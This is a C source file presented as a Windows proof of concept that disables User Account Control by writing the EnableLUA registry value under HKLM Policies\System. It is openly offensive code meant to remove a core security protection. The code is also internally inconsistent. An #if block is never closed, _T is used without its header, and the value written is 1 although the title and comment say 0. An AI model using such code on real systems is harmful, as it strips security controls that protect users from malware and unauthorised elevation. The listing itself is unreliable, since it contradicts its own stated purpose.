1st Windows PoC: Set 0 REG_DWORD value (through RegSetValueEx) into EnableLUA key for UAC definitively disable.

main.c

#include <stdio.h>
#include <windows.h>
#if defined(_WIN64)
#  define REGKEY_BIT KEY_WOW64_32KEY
#else
#  define REGKEY_BIT KEY_WOW64_64KEY

int main(int argc, char *argv[])
{
	HKEY hKey;
	LONG rRegOpen;
	LONG rSetVal;
	DWORD dwData = 0x00000001;

	/* Equivalent to:
	* REG ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\system"
	* /t REG_DWORD /d 0 /f
	*
	* According to MSDN:
	* RegOpenKeyEx function [RegOpenKeyExW = UNICODE]
	* LONG WINAPI RegOpenKeyExW(
	*	_In_		HKEY	hKey,
	*	_In_opt_	LPCTSTR	lpSubKey,
	*	_In_		DWORD	ulOptions,
	*	_In_		REGSAM	samDesired,
	*	_Out_		PHKEY	phResult
	* );
	*/
	rRegOpen = RegOpenKeyEx(HKEY_LOCAL_MACHINE, _T("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System"), 0, KEY_WRITE|REGKEY_BIT, &hKey);
	if (ERROR_SUCCESS != rRegOpen) {
		printf("[>] Unable to open registry key: %lu\n", GetLastError());
		RegCloseKey(hKey);
	}
	else {
		printf("[*] RegOpenKeyEx() is opened.\n");
	}

	/* According to MSDN:
	* RegSetValueEx function [RegSetValueExW = UNICODE]
	* LONG WINAPI RegSetValueEx(
	*	_In_		HKEY	hKey,
	*	_In_opt_	LPCTSTR	lpValueName,
	*	_Reserved_	DWORD	Reserved,
	*	_In_		DWORD	dwType,
	*	_In_  const	BYTE	*lpData,
	*	_In_		DWORD	cbData
	* );
	*/
	rSetVal = RegSetValueEx(hKey, _T("EnableLUA"), 0, REG_DWORD, (LPBYTE)&dwData, sizeof(dwData));
	if (ERROR_SUCCESS != rSetVal) {
		printf("[>] Could not set the category EnableLUA: %lu\n", GetLastError());
		return FALSE;
	}
	else printf("[*] The EnableLUA has been set successfully to 0x%.8X (%u).\n", dwData, dwData);

	RegCloseKey(hKey);
	return 0;
}